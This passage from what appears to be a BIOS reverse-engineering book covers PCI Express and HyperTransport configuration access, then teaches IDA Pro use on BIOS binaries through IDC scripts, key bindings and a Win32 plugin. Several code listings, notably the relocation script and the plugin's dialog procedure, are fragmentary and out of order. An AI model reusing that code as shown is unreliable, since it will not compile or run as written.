Perhaps, even the preceding algorithm is still confusing. Thus, a sample code is
provided in listing 1.2.

Listing 1.2 PCI Express–Enhanced Configuration Access Sample Code

```plaintext
Init_HI_RTC_Regs_Mapping proc near
    mov   eax, 8000F8F0h        ; Enable the PCI configuration cycle to
                               ; bus 0, device 31, function 0, i.e.,
                               ; the LPC bridge in Intel ICH7
    mov   dx, 0CF8h             ; dx = PCI configuration address port
    out   dx, eax
    add   dx, 4
    mov   eax, 0FED1C001h       ; enable root complex configuration
                               ; base address at memory space FED1_C000h
    out   dx, eax
    mov   di, offset ret_addr_1 ; Save return address to di register
    jmp   enter_flat_real_mode
    ; ------------------------------------------------------------------
ret_addr_1:
    mov   esi, 0FED1F400h       ; RTC configuration (ICH7 configuration
                               ; register at memory space offset 3400h)
    mov   eax, es:[esi]         ; Enable access to upper 128 bytes of RTC
    or    eax, 4
    mov   di, offset ret_addr_2 ; Save return address to di register
    jmp   exit_flat_real_mode
    ; ------------------------------------------------------------------
ret_addr_2:
    mov   al, 0A1h
    out   72h, al
    out   0EBh, al
    in    al, 73h
    out   0EBh, al              ; Show the CMOS value in a diagnostic port
    mov   bh, al
    ret
Init_HI_RTC_Regs_Mapping endp
```

18
Listing 1.2 is a code snippet from a disassembled boot block part of the Foxconn 955X7AA-8EKRS2 motherboard BIOS. This motherboard is based on Intel 955X-ICH7 chipsets. As you can see, the register that controls the RTC register in the ICH7 is a memory-mapped register and accessed by using a memory read or write instruction as per the PCI Express-enhanced configuration mechanism. In the preceding code snippet, the ICH7 RCRB base address is initialized to FED1_C000h. Note that the value of the last bit is an enable bit and not used in the base address calculation. That's why it has to be set to one to enable the root-complex configuration cycle. This technique is analogous to the PCI configuration mechanism. The root-complex base address is located in the memory address space of the system from a CPU perspective.

One thing to note is that the PCI Express-enhanced configuration mechanism described here is implementation dependent; i.e., it works in the Intel 955X-ICH7 chipset. Future chipsets may implement it in a different fashion. Nevertheless, you can read the PCI Express specification to overcome that. Furthermore, another kind of PCI Express–enhanced configuration mechanism won't differ much from the current example. The registers will be memory mapped, and there will be an RCBAR.

1.4.5. HyperTransport Bus Protocol

In most cases, the HyperTransport configuration mechanism uses the PCI configuration mechanism that you learned about in the previous section. Even though the HyperTransport configuration mechanism is implemented as a memory-mapped transaction under the hood, it's transparent to programmers; i.e., there are no major differences between it and the PCI configuration mechanism. HyperTransport-specific configuration registers are also located in the 256-byte PCI configuration registers. However, HyperTransport configuration registers are placed at higher indexes than those used for mandatory PCI header, i.e., placed above the first 16 dwords in the PCI configuration space of the corresponding device. These HyperTransport-specific configuration registers are implemented as new capabilities, i.e., pointed to by the capabilities pointer in the device's PCI configuration space. Please refer to figure 1.7 for the complete PCI configuration register layout.

---

7 The RTC control register is located in the LPC bridge. The LPC bridge in ICH7 is device 31, function 0.
8 The capabilities pointer is located at offset 34h in the standard PCI configuration register layout.
Chapter 2 Preliminary Reverse Code Engineering

PREVIEW

This chapter introduces software reverse engineering techniques by using IDA Pro disassembler. Techniques used in IDA Pro to carry out reverse code engineering of a flat binary file are presented. BIOS binary flashed into the BIOS chip is a flat binary file. That's why these techniques are important to master. The IDA Pro advanced techniques presented include scripting and plugin development. By becoming acquainted with these techniques, you will be able to carry out reverse code engineering in platforms other than x86.

2.1. Binary Scanning

The first step in reverse code engineering is not always firing up the disassembler and dumping the binary file to be analyzed into it, unless you already know the structure of the target binary file. Doing a preliminary assessment on the binary file itself is recommended for a foreign binary file. I call this preliminary assessment binary scanning, i.e., opening up the binary file within a hex editor and examining the content of the binary with it. For an experienced reverse code engineer, sometimes this step is more efficient rather than firing up the disassembler. If the engineer knows intimately the machine architecture where the binary file was running, he or she would be able to recognize key structures within the binary file without firing up a disassembler. This is sometimes encountered when an engineer is analyzing firmware.

Even a world-class disassembler like IDA Pro seldom has an autoanalysis feature for most firmware used in the computing world. I will present an example for such a case. Start by opening an Award BIOS binary file with Hex Workshop version 4.23. Open a BIOS binary file for the Foxconn 955X7AA-8EKRS2 motherboard. The result is shown in figure 2.1.

---

1 Software reverse engineering is also known as reverse code engineering. It is sometimes abbreviated as RCE.
2 A flat binary file is a file that contains only the raw executable code (possibly with self-contained data) in it. It has no header of any form, unlike an executable file that runs within an operating system. The latter adheres to some form of file format and has a header so that it can be recognized and handled correctly by the operating system.
A quick look in the American Standard Code for Information Interchange (ASCII) section (the rightmost section in the figure) reveals some string. The most interesting one is the `-lh5-` in the beginning of the binary file. An experienced programmer will be suspicious of this string, because it resembles a marker for a header of a compressed file. Further research will reveal that this is a string to mark the header of a file compressed with LHA.

You can try a similar approach to another kind of file. For example, every file compressed with WinZip will start with ASCII code `PK`, and every file compressed with WinRAR will start with ASCII code `Rar!`, as seen in a hex editor. This shows how powerful a preliminary assessment is.

2.2. Introducing IDA Pro

Reverse code engineering is carried out to comprehend the algorithm used in software by analyzing the executable file of the corresponding software. In most cases, the software only comes with the executable—without its source code. The same is true for the BIOS. Only the executable binary file is accessible. Reverse code engineering is carried out with the help of some tools: a debugger; a disassembler; a hexadecimal file editor, a.k.a. a hex editor, in-circuit emulator, etc. In this book, I only deal with a disassembler and a hex editor. The current chapter only deals with a disassembler, i.e., IDA Pro disassembler.

IDA Pro is a powerful disassembler. It comes with support for plugin and scripting facilities and support for more than 50 processor architectures. However, every powerful tool has its downside of being hard to use, and IDA Pro is not an exception. This chapter is designed to address the issue.

There are several editions of IDA Pro: freeware, standard, and advanced. The latest freeware edition as of the writing of this book is IDA Pro version 4.3. It's available for download at http://www.dirfile.com/ida_pro_freeware_version.htm. It's the most limited of the IDA Pro versions. It supports only the x86 processor and doesn't come with a plugin.
feature, but it comes at no cost, that's why it's presented here. Fortunately, it does have a scripting feature. The standard and advanced editions of IDA Pro 4.3 differ from this freeware edition. They come with plugin support and support for more processor architecture. You will learn how to use the scripting feature in the next section.

Use the IDA Pro freeware version to open a BIOS binary file. First, the IDA Pro freeware version has to be installed. After the installation has finished, one special step must be carried out to prevent an unwanted bug when this version of IDA Pro opens a BIOS file with *.rom extension. To do so, you must edit the IDA Pro configuration file located in the root directory of the IDA Pro installation directory. The name of the file is ida.cfg. Open this file by using any text editor (such as Notepad) and look for the lines in Listing 2.1.

**Listing 2.1 IDA Pro Processor–to–File Extension Configuration**

```plaintext
DEFAULT_PROCESSOR = {
    /* Extension  Processor */
    "com" : "8086"         // IDA will try the specified
    "exe" : ""             // extensions if no extension is
    "dll" : ""             // given.
    "drv" : ""
    "sys" : ""
    "bin" : ""             // Empty processor means default processor
    "ovl" : ""
    "ovr" : ""
    "ov?" : ""
    "n1m" : ""
    "lan" : ""
    "dsk" : ""
    "obj" : ""
    "prc" : "68000"        // Palm Pilot programs
    "axf" : "arm710a"
    "h68" : "68000"        // MC68000 for *.H68 files
    "i51" : "8051"         // i8051 for *.I51 files
    "sav" : "pdp11"        // PDP-11 for *.SAV files
    "rom" : "z80"          // Z80 for *.ROM files
    "cla*": "java"
    "s19" : "6811"
    "o" : ""
    "*" : ""             // Default processor
}
```

Notice the following line:

```plaintext
"rom" : "z80"          // Z80 for *.ROM files
```

This line must be removed, or just replace "z80" with "" in this line to disable the automatic request to load the z80 processor module in IDA Pro upon opening a *.rom file. The bug occurs if the *.rom file is opened and this line has not been changed, because the IDA Pro freeware version doesn't come with the z80 processor module. Thus, opening a
*.rom file by default will terminate IDA Pro. Some motherboard BIOS files comes with the *.rom extension by default, even though it's clear that it won't be executed in a z80 processor. Fixing this bug will ensure that you will be able to open a motherboard BIOS file with the *.rom extension flawlessly. Note that the steps needed to remove other file extension-to-processor type "mapping" in this version of IDA Pro is similar to the z80 processor just described.

Proceed to open a sample BIOS file. This BIOS file is da8r9025.rom, a BIOS file for a Supermicro H8DAR-8 (original equipment manufacturer–only) motherboard. This motherboard used the AMD-8131 HyperTransport PCI-X Tunnel chip and the AMD-8111 HyperTransport I/O Hub chip. The dialog box in figure 2.2 will be displayed when you start IDA Pro freeware version 4.3.

![Figure 2.2 Snapshot of the first dialog box in IDA Pro freeware](image)

Just click **OK** to proceed. The next dialog box, shown in figure 2.3, will be displayed.
In this dialog box you can try one of the three options, but for now just click on the Go button. This will start IDA Pro with empty workspace as shown in figure 2.4.

Figure 2.3 Snapshot of the second dialog box in IDA Pro freeware

Figure 2.4 Snapshot of the main window of IDA Pro freeware
Then, locate and drag the file to be disassembled to the IDA Pro window (as shown in the preceding figure). Then, IDA Pro will show the dialog box in figure 2.5.

![Figure 2.5 Snapshot of loading a new binary file in IDA Pro freeware](image)

In this dialog box, select *Intel 80x86 processors: athlon* as the processor type in the dropdown list. Then, click the **Set** button to activate the new processor selection. Leave the other options as they are. (Code relocation will be carried out using IDA Pro scripts in a later subsection.) Click **OK**. Then, IDA Pro shows the dialog box in figure 2.6.
Figure 2.6 Intel x86-compatible processor mode selections

This dialog box asks you to choose the default operating mode of the x86-compatible processor during the disassembling process. *AMD64 Architecture Programmer's Manual Volume 2: System Programming, February 2005*, section 14.1.5, page 417, states the following:

*After a RESET# or INIT, the processor is operating in 16-bit real mode.*


*Table 9-1 shows the state of the flags and other registers following power-up for the Pentium 4, Intel Xeon, P6 family, and Pentium processors. The state of control register CR0 is 60000010H (see Figure 9-1), which places the processor in real-address mode with paging disabled.*

Thus, you can conclude that any x86-compatible processor will start its execution in 16-bit real mode just after power-up and you have to choose 16-bit mode in this dialog box. It's accomplished by clicking **No** in the dialog box. Then, the dialog box in figure 2.7 pops up.
This dialog box says that IDA Pro can't decide where the entry point is located. You have to locate it yourself later. Just click **OK** to continue to the main window for the disassembly process (figure 2.8).
Up to this point, you have been able to open the binary file within IDA Pro. This is not a trivial task for people new to IDA Pro. That's why it's presented in a step-by-step fashion. However, the output in the workspace is not yet usable. The next step is learning the scripting facility that IDA Pro provides to make sense of the disassembly database that IDA Pro generates.

2.3. IDA Pro Scripting and Key Bindings

Try to decipher the IDA Pro disassembly database shown in the previous section with the help of the scripting facility. Before you proceed to analyzing the binary, you have to learn some basic concepts about the IDA Pro scripting facility. IDA Pro script syntax is similar to the C programming language. The syntax is as follows:
1. IDA Pro scripts recognize only one type of variable, i.e., `auto`. There are no other variable types, such as `int` or `char`. The declaration of variable in an IDA Pro script as follows:

   ```
   auto variable_name;
   ```

2. Every statement in an IDA Pro script ends with a semicolon (`;`), just like in the C programming language.

3. A function can return a value or not, but there's no return-type declaration. The syntax is as follows:

   ```
   static function_name(parameter_1, parameter_n, ...)
   ```

4. A comment in an IDA Pro script starts with a double slash (`//`). The IDA Pro scripting engine ignores anything after the comment in the corresponding line.

   ```
   // comment
   statement; // comment
   ```

5. IDA Pro "exports" its internal functionality to the script that you build by using header files. These header files must be "included" in the script so that you can access that functionality. At least one header file must be included in any IDA Pro script, i.e., `idc.idc`. The header files are located inside a folder named `idc` in the IDA Pro installation directory. You must read the `*.idc` files inside this directory to learn about the functions exported by IDA Pro. The most important header file to learn is `idc.idc`. The syntax used to include a header file in an IDA Pro script is as follows:

   ```
   #include <header_file_name>
   ```

6. The entry point of an IDA Pro script is the `main` function, just as in the C programming language.

Now is the time to put the theory into a simple working example, an IDA Pro sample script (listing 2.2).

**Listing 2.2 IDA Pro Code Relocation Script**

```
#include <idc.idc>
// Relocate one segment
static relocate_seg(src, dest)
{
    auto ea_src, ea_dest, hi_limit;

    hi_limit = src + 0x10000;
    ea_dest = dest;

    for(ea_src = src; ea_src < hi_limit ; ea_src = ea_src + 4 )
    {
      PatchDword( ea_dest, Dword(ea_src));
      ea_dest = ea_dest + 4;
    }

    Message("segment relocation finished"
        "(inside relocate_seg function)...\n");
```

10
As explained previously, the entry point in listing 2.2 is function `main`. First, this function displays a message in the message pane with a call to an IDA Pro internal function named `Message` in these lines:

```
Message("creating target segment" 
"(inside entry point function main)...\n");
```

Then, it creates a new segment with a call to another IDA Pro internal function, `SegCreate` in this line:

```
SegCreate([0xF000, 0], [0x10000, 0], 0xF000, 0, 0, 0);
```

It calls another IDA Pro internal function named `SegRename` to rename the newly created segment in this line:

```
SegRename([0xF000, 0], "_F000"); // Give a new name to the segment
```

Then, it calls the `relocate_seg` function to relocate part (one segment) of the disassembled binary to the new segment in this line:

```
relocate_seg([0x7000,0], [0xF000, 0]);
```

The pair of square brackets, i.e., `[ ]`, in the preceding script is an operator used to form the linear address from its parameters by shifting the first parameter 4 bits to left (multiplying by 16 decimal) and then adding the second parameter to the result; e.g., `[0x7000, 0]` means `(0x7000 << 4) + 0`, i.e., 0x7_0000 linear address. This operator is the same as the `MK_FP( , )` operator in previous versions of IDA Pro.

You must read idc.idc file to see the "exported" function definition that will allow you to understand this script completely, such as the `Message`, `SegCreate`, and `SegRename` functions. Another "exported" function that maybe of interest can be found in the numerous *.idc files in the idc directory of IDA Pro installation folder. To be able to use the function, you must look up its definition in the exported function definition in the corresponding *.idc header file. For example, `SegCreate` function is defined in the idc.idc file as shown in listing 2.3.
Listing 2.3 SegCreate Function Definition

// Create a new segment
//      startea  - linear address of the start of the segment
//      endea    - linear address of the end of the segment
//                 This address will not belong to the segment.
//      base     - base paragraph or selector of the segment
//                 A paragraph is a 16-byte memory chunk.
//                 If a selector value is specified, the selector
//                 should already be defined.
//      use32    - 0: 16bit segment, 1: 32bit segment
//      align    - Segment alignment; see below for alignment values
//      comb     - Segment combination; see below for combination values
// returns: 0 - failed, 1 - ok
success SegCreate( long startea, long endea, long base, long use32, long align, long comb);

IDA Pro internal functions have informative comments in the IDA Pro include files for the scripting facility, as shown in listing 2.3.

Anyway, note that a 512-KB BIOS binary file must be opened in IDA Pro with the loading address set to \texttt{0000h} to be able to execute the sample script in listing 2.2. This loading scheme is the same as explained in the previous section. In this case, you will just open the BIOS binary file of the Supermicro H8DAR-8 motherboard as in the previous section and then execute the script.

First, you must type the preceding script into a plain text file. You can use Notepad or another ASCII file editor for this purpose. Name the file function.idc. The script is executed by clicking the \texttt{File|IDC file...} menu or by pressing \texttt{F2}, then the dialog box in figure 2.9 will be shown.
Just select the file and click **Open** to execute the script. If there's any mistake in the script, IDA Pro will warn you with a warning dialog box. Executing the script will display the corresponding message in the *message pane* of IDA Pro as shown in figure 2.10.

![Figure 2.9 IDC script execution dialog](image)

Figure 2.9 IDC script execution dialog
The script in listing 2.2 relocates the last segment (64 KB) of the Supermicro H8DAR-8 BIOS code to the correct place. You must be aware that IDA Pro is only an advanced tool to help the reverse code engineering task; it's not a magical tool that's going to reveal the overall structure of the BIOS binary without your significant involvement in the process. The script relocates or copies BIOS code from physical or linear address 0x7_0000–0x7_FFFF to 0xF_0000–0xF_FFFF. The logical reason behind this algorithm is explained later. **AMD-8111 HyperTransport I/O Hub Datasheet, chapter 4, page 153, says this:**

**Note:** The following ranges are always specified as BIOS address ranges. See DevB:0x80 for more information about how access to BIOS spaces may be controlled.
Size | Host address range[31:0] | Address translation for LPC bus
--- | --- | ---
64 KB | FFFF_0000h–FFFF_FFFFh | FFFF_0000h–FFFF_FFFFh
64 KB | 000F_0000h–000F_FFFFh | FFFF_0000h–FFFF_FFFFh


Normally within real mode, the code-segment base address is formed by shifting the CS-selector value left four bits. The base address is then added to the value in EIP to form the physical address into memory. As a result, the processor can only address the first 1 Mbyte of memory when in real mode. However, immediately following RESET# or INIT, the CS selector register is loaded with F000h, but the CS base-address is not formed by left-shifting the selector. Instead, the CS base address is initialized to FFFF_0000h. EIP is initialized to FFF0h. Therefore, the first instruction fetched from memory is located at physical-address FFFF_FFF0h (FFFF_0000h +0000_FFF0h).

The CS base-address remains at this initial value until the CS selector register is loaded by software. This can occur as a result of executing a far jump instruction or call instruction, for example. When CS is loaded by software, the new base-address value is established as defined for real mode (by left shifting the selector value four bits).

From the preceding references, you should conclude that address 000F_0000h–000F_FFFFh is an alias to address FFFF_0000h–FFFF_FFFFh, i.e., they both point to the same physical address range. Whenever the host (CPU) accesses some value in the 000F_0000h–000F_FFFFh address range, it's actually accessing the value in the FFFF_0000h–FFFF_FFFFh range, and the reverse is also true. From this fact, I know that I have to relocate 64 KB of the uppermost BIOS code to address 000F_0000h–000F_FFFFh for further investigation. This decision is made based on my previous experience with various BIOS binary files; they generally reference an address with F000h used as the segment value within the BIOS code. Also, note that the last 64 KB of the BIOS binary file are mapped to last 64 KB of the 4-GB address space, i.e., 4 GB–64 KB to 4 GB. That's why you have to relocate the last 64 KB. This addressing issue will be covered in depth in the first section of chapter 5. Thus, if the concept remains too hard to grasp, there is no need to worry about it.

Simple script of only several lines can be typed and executed directly within IDA Pro without opening a text editor. IDA Pro provides a specific dialog box for this purpose, and it can be accessed by pressing **Shift+F2**. This is more practical for a simple task, but as the number of lines in the routine grows, you might consider coding the script as described in the previous explanation because there is a limitation on the number of instruction that can be entered in the dialog box. In this dialog box, enter the script to be executed and click **OK** to execute the script. An example script is shown in figure 2.11.
The script shown in figure 2.11 is another form of the script shown in listing 2.2. Note that there is no need for the `#include` statement in the beginning of the script, since by default all functions exported by IDA Pro in its scripts header files (*.idc) are accessible within the scripting dialog box shown. The `main` function also doesn't need to be defined. In fact, anything you write within the dialog box entry will behave as if it's written inside the `main` function in an IDA Pro script file.

At present, you can relocate the binary within IDA Pro; the next step is to disassemble the binary within IDA Pro. Before that, you need to know how default key binding works in IDA Pro. Key binding is the "mapping" between the keyboard button and the command carried out when the corresponding key is pressed. The cursor must be placed in the workspace before any command is carried out in IDA Pro. Key binding is defined in the `idaguif.cfg` file located in the IDA Pro installation directory. An excerpt of the key binding (hot key) is provided in listing 2.4.

Listing 2.4 Key Binding Excerpt

```
"MakeCode"   =       'C'
"MakeData"   =       'D'
"MakeAscii"  =       'A'
"MakeUnicode"=       0  // Create Unicode string
"MakeArray"  =       "Numpad*"
"MakeUnknown"=       'U'
"MakeName"   =       'N'
"ManualOperand"=       "Alt-F1"
"MakeFunction"=       'P'
"EditFunction"=       "Alt-P"
```
You can alter idagui.cfg to change the default key binding. However, in this book, I only consider the default key binding. Now that you have grasped the key binding concept, I will show you how to use it in the binary.

In the previous example, you were creating a new segment, i.e., 0xF000. Now, you will go to the first instruction executed in the BIOS within that segment, i.e., address 0xF000:0xFFF0. Press G, and the dialog box in figure 2.12 will be shown.

![Figure 2.12 The "Jump to address" dialog box](image)

In this dialog box, enter the destination address. You must enter the address in its complete form (segment:offset) as shown in the preceding figure, i.e., F000:FFF0. Then, click OK to go to the intended address. Note that you don't have to type the leading 0x character because, by default, the value within the input box is in hexadecimal. The result will be as shown in figure 2.13.

![Figure 2.13 The "jump to address" result dialog box](image)
The next step is to convert the value in this address into a meaningful machine instruction. To do so, press C. The result is shown in figure 2.14.

![Figure 2.14 Converting values into code](image)

Then, you can follow the jump by pressing Enter. The result is shown in figure 2.15.

![Figure 2.15 Following the jump](image)

You can return from the jump you've just made by pressing Esc.

Up to this point, you've gained significant insight into how to use IDA Pro. You just need to consult the key bindings in idagui.cfg in case you want to do something and don't know what key to press.

2.4. IDA Pro Plugin (Optional)

In this section you will learn how to develop an IDA Pro plugin. This is an optional section because you must buy the commercial edition of IDA Pro, i.e., IDA Pro standard edition or IDA Pro advanced edition, to obtain its software development kit.
(SDK). The SDK is needed to build an IDA Pro plugin. In addition, you need Microsoft Visual Studio .NET 2003 IDE (its Visual C++ compiler) to build the plugin. Visual Studio .NET 2003 isn't mandatory; you can use another kind of compiler or IDE that's supported by the IDA Pro SDK, such as the GNU C/C++ compiler or the Borland C/C++ compiler, but I concentrate on Visual Studio .NET 2003 here.

The plugin is the most powerful feature of IDA Pro. It has far more use than the scripting facility. Moreover, an experienced programmer can use it to automate various tasks. The scripting facility lacks variable types and its maximum length is limited, even though it's far longer than a thousand lines. The need for a plugin immediately arises when you have to build a complex unpacker for part of the binary that's being analyzed or perhaps when you need a simple virtual machine to emulate part of the binary.

I use IDA Pro 4.8 advanced edition with its SDK since IDA Pro 4.3 freeware edition doesn't support plugins. The first sample won't be overwhelming. It will just show how to build a plugin and execute it within IDA Pro. This plugin will display a message in the IDA Pro message pane when it's activated. The steps to build this plugin are as follows:

1. Create a new project by clicking File|New|Project (Ctrl+Shift+N).
2. Expand the Visual C++ Projects folder. Then, expand the Win32 subfolder and select the Win32 Project icon in the right pane of this New Project dialog window. Then, type the appropriate project name in the Name edit box and click OK. Steps 1 and 2 are summarized in figure 2.16.

![Figure 2.16 Creating a new project for an IDA Pro plugin](image)

3. Now, Win32 Application Wizard is shown. Ensure that the Overview tab shows that you are selecting Windows Application. Then, proceed to the Application
Settings tab. From the Application type selection buttons select DLL, and from the Additional options checkboxes choose empty project. Then, click finish. This step is shown in figure 2.17.

![Win32 Application Wizard screenshot](image)

Figure 2.17 Application settings for the IDA Pro plugin project

4. In the Solution Explorer on the right side of Visual Studio .NET 2003, right-click the Source Files folder and go to Add|Add New Item... or Add|Add Existing Item... to add the relevant source code files (*.cpp, *.c) into the plugin project as shown in figure 2.18. Start by creating new source code file, i.e., main.cpp. Then, copy the contents of main source code file of the sample plugin from the IDA Pro SDK (sdk\plugins\vcsample\strings.cpp) to main.cpp.
5. Go to the project properties dialog by clicking the **Project**|**project_name** Properties... menu.

6. Then, carry out the following modifications to project settings:

   a. **C/C++|General**: Set **Detect 64-bit Portability Issue** checks to **No**.
   b. **C/C++|General**: Set **Debug Information Format** to **Disabled**.
c. **C/C++|General**: Add the SDK include path to the **Additional Include Directories** field, e.g., `C:\Program Files\IDA\SDK\Include`.

d. **C/C++|Preprocessor**: Add `__NT__;__IDP__;__EA64__` to **Preprocessor Definitions**. The `__EA64__` definition is required for the 64-bit version of IDA Pro disassembler, i.e., the one that uses 64-bit addressing in the disassembly database and supports the x86-64 instruction sets. Otherwise, `__EA64__` is not needed and shouldn't be defined.

e. **C/C++|Code Generation**: Turn off **Buffer Security Check**, set **Basic Runtime Checks** to default, and set **Runtime Library** to **Single Threaded**.

f. **C/C++|Advanced**: Set the calling convention to **__stdcall**.

g. **Linker|General**: Change the output file from a *.dll to a *.p64 (for IDA Pro 64-bit version plugin) or to a *.plw (for IDA Pro 32-bit version plugin).

h. **Linker|General**: Add the path to your `libvc.wXX` (i.e., `libvc.w32` for the 32-bit version plugin or `libvc.w64` for the 64-bit version plugin) to **Additional Library Directories**, e.g., `C:\Program Files\IDA\SDK\libvc.w64`.

i. **Linker|Input**: Add `ida.lib` to **Additional Dependencies**.

j. **Linker|Debugging**: Set **Generate Debug Info** to **No**.

k. **Linker|Command Line**: Add `/EXPORT:PLUGIN`.

These steps are carried out in the **Project Property Pages** as shown in figure 2.20.
Now the compilation environment is ready. Open main.cpp in the workspace. You will find the run function similar to listing 2.5.

Listing 2.5 IDA Pro Plugin Entry-Point Function Sample

```c
// The plugin method
// This is the main function of plugin.
// It will be called when the user selects the plugin.
// arg - The input argument. It can be specified in
// the plugins.cfg file. The default is zero.

void idaapi run(int arg)
{
    msg("just fyi: the current screen address is: %a\n",
        get_screen_ea());
}
```

Edit the run function until it looks like listing 2.5. The run function is the function called when an IDA Pro plugin is activated in the IDA Pro workspace. In the SDK’s sample plugin, the run function is used to display a message in the message pane of IDA Pro. Once the plugin compilation succeeds, you can execute it by copying the plugin (*.plw or *.p64) to the plugin directory within the IDA Pro installation directory and start the plugin by pressing its shortcut key. The shortcut key is defined in the wanted_hotkey[] variable in main.cpp. Alternatively, you can activate the plugin by typing RunPlugin in the IDA Pro script dialog box and clicking the OK button, as shown in figure 2.21.

Figure 2.21 Loading the IDA Pro plugin
Note that the path is delimited with a double backslash (\\). This is because the backslash is interpreted as an *escape character* just as in the C programming language. Thus, you must use a double backslash in the scripting dialog box. The result of the execution is a message displayed in the message pane during the loading of the plugin, as shown in figure 2.22.

![Figure 2.22 Result of loading the IDA Pro plugin](image)

The message shown in figure 2.22 is the string passed as a parameter into the `msg` function in the plugin source code in listing 2.5. The `msg` function is defined inside the IDA Pro SDK folder, i.e., the `sdk/include/kernwin.hpp` file, as follows:

```
// Output a formatted string to the messages window [analog of printf()]
// format - printf() style message string
// Message() function does the same, but the format string is taken
// from IDA.HLP
// Returns: number of bytes output
// Everything appearing on the messages window may be written
// to a text file. For this, the user should define an environment
// variable IDALOG:
// set IDALOG=idalog.txt
```

Listing 2.6 Declaring and Defining the msg Function
inline int msg(const char *format,...)
{
    va_list va;
    va_start(va, format);
    int nbytes = vmsg(format, va);
    va_end(va);
    return nbytes;
}

The msg function is useful as a debugging aid while developing the IDA Pro plugin. To do so, you can log plugin-related messages in the IDA Pro message pane with this function. Experienced C/C++ programmers will recognize that the msg function is similar to variations of the printf function in C/C++.

Up to this point, the development of an IDA Pro plugin has been clear. However, you can develop another plugin that has a graphical user interface (GUI). It will be dialog based and use Windows message-loop processing during its execution. It will be more flexible than the script version. It is sometimes useful to have an easily accessible user interface for an IDA Pro plugin. That's why you will learn about that here.

The plugin will use a lot of Windows application programming interface (Win32 API). Hence, I recommend that you read a book by Charles Petzold, Programming Windows (5th edition, Microsoft Press, 1998) if you haven't been exposed to Win32 API. Use Win32 API to create a dialog box for the IDA Pro plugin. The relevant material in Petzold's book for this purpose is found in chapters 1, 2, 3, and 11. A thorough explanation about the source code will be presented. Nevertheless, it'll be hard to grasp this without significant background in Win32 API.

Start the plugin development. The first steps are just the same as explained in the previous plugin example. Proceed accordingly, until you can show a message in the IDA Pro message pane. Then, you have to modify three types of core functions in the IDA Pro plugin source code, i.e., init, term, and run. The term function is called when the plugin is in the process of being terminated, init is called when the plugin is being started (loaded to the IDA Pro workspace), and run is called when the plugin is activated by pressing its shortcut key or by invoking the plugin with RunPlugin in an IDA Pro script.

Initialize the user interface inside init, and clean up the corresponding user interface resources during the termination process inside term. Let's get down to the code.

Listing 2.7 BIOS Binary Analyzer Plugin Framework

/*
 * Filename: main.cpp
 * *
 * This is the main file of the Award BIOS binary analyzer plugin.
 * This file handles the user interface aspect of the plugin.
 * It can be compiled by Microsoft Visual C++.
 */
#include <windows.h>
#include <ida.hpp>
#include <idp.hpp>
#include <expr.hpp>
#include <bytes.hpp>
#include <loader.hpp>
#include <kernwin.hpp>
#include "resource.h"
#include "analyzer_engine.hpp"

// Window handles
static HWND hMainWindow;
static HWND h_plugin_dlg;
static HMODULE hModule;

static BOOL CALLBACK plugin_dlg_proc( HWND hwnd_dlg, UINT message,
WPARAM wParam, LPARAM lParam )
{
    ea_t dest_seg, src_seg, last_seg;
    ea_t start_addr, end_addr; // Address range to be analyzed
    char dest_seg_name[0xFF];
    HWND h_btn;
    static bool enable_entry_point;

    switch (message)
    {
    case WM_INITDIALOG:
    {
        h_plugin_dlg = hwnd_dlg;

        //
        // Initialize analysis-specific feature
        //

        // Set entry point checkbox
        SendMessage(GetDlgItem(hwnd_dlg, IDC_CHK_ENTRYPOINT),
                    BM_SETCHECK, 1, 0);
        enable_entry_point = true;

        return TRUE;
    }
    case WM_COMMAND:
    switch (LOWORD(wParam))
    {
    case IDC_ANALYZE_BINARY:
    {
        static const char analyze_form[] =
            "Binary Analysis\n" "Enter the start and end address" "for analysis below\n" "<~Start address :N:8:8::>\n"

        return TRUE;
    }
    case IDCANCEL:
        PostMessage(hwnd_dlg, WM_CLOSE);
        return TRUE;
    }
    
    return FALSE;
}
start_addr = get_screen_ea();
end_addr = get_screen_ea();

if( 1 == AskUsingForm_c(analyze_form, &start_addr, &end_addr))
{
  msg("IDC_ANALYZE: start_addr = 0x%X\n",
       start_addr);
  msg("IDC_ANALYZE: end_addr = 0x%X\n",
       end_addr);
  analyze_binary(start_addr, end_addr);
}
}
return TRUE;
case IDC_RELOCATE:
{
  static const char relocate_form[] =
  "Segment Relocation\n"
  "Enter the source segment and "
  "destination segment address below\n"
  "Note: source segment will be deleted \n"
  "and segment address will be"
  "left-shifted 4 bits\n"
  "<~S~ource segment address :N:8:8::>\n"
  "<~D~estination segment address :N:8:8::>\n"
  "<~D~estination segment name :A:8:8::>\n";
  src_seg = (get_screen_ea() & 0xFFFF0000 ) >> 4;
  if( 1 == AskUsingForm_c(relocate_form, &src_seg, &dest_seg, dest_seg_name))
  {
    relocate_seg(src_seg, dest_seg, dest_seg_name);
  }
}
return TRUE;
case IDC_COPY:
{
  static const char copy_form[] =
  "Copy Segment\n"
  "Enter the source and destination "
  "segment address below\n"
  "Note: - dest segment will be "
  "overwritten if it exist!\n"
  "and segment address will be"
  "left-shifted 4 bits\n"
  "<~S~ource segment address :N:8:8::>\n"
  "<~D~estination segment address :N:8:8::>\n";
src_seg = (get_screen_ea() & 0xFFFF0000) >> 4;
if( 1 == AskUsingForm_c(copy_form, &src_seg,
    &dest_seg))
{
    copy_seg(src_seg, dest_seg);
}
}
return TRUE;
case IDC_CREATE:
{
    static const char create_form[] =
        "Segment Creation\n"
        "Enter the new segment address "
        "and name below\n"
        "Note: segment starting address will be "
        "left-shifted 4 bits\n"
        "<S-source segment address :N:8:8::>\n"
        "<D-destination segment address :N:8:8::>\n"
        "<S-tarting address :N:8:8::>\n"
        "<N-name :A:8:8::>\n"
;
    if( 1 == AskUsingForm_c(create_form, &dest_seg,
        dest_seg_name))
    {
        msg("IDC_CREATE: dest_seg = 0x%X\n",
            dest_seg);
        init_seg(dest_seg, dest_seg_name);
    }
}
return TRUE;
case IDC_GO2_ENTRYPOINT:
{
    last_seg = (inf.maxEA >> 4) - 0x1000;
    init_seg(last_seg, "F_seg");
    relocate_seg(last_seg, 0xF000, "F000");
    jumpto((0xF000 << 4) + 0xFFF0);
    // Disable the corresponding button
    // to prevent unwanted effects
    h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT);
    EnableWindow(h_btn, false);
    //
    // Next time build a BIOS loader module!
    //
}
return TRUE;
case IDC_CHK_ENTRYPOINT:
{
    if(enable_entry_point)
    {
        SendMessage(GetDlgItem(hwnd_dlg, IDC_CHK_ENTRYPOINT), BM_SETCHECK, 0, 0);

        // Disable the corresponding button
        // to prevent unwanted effects
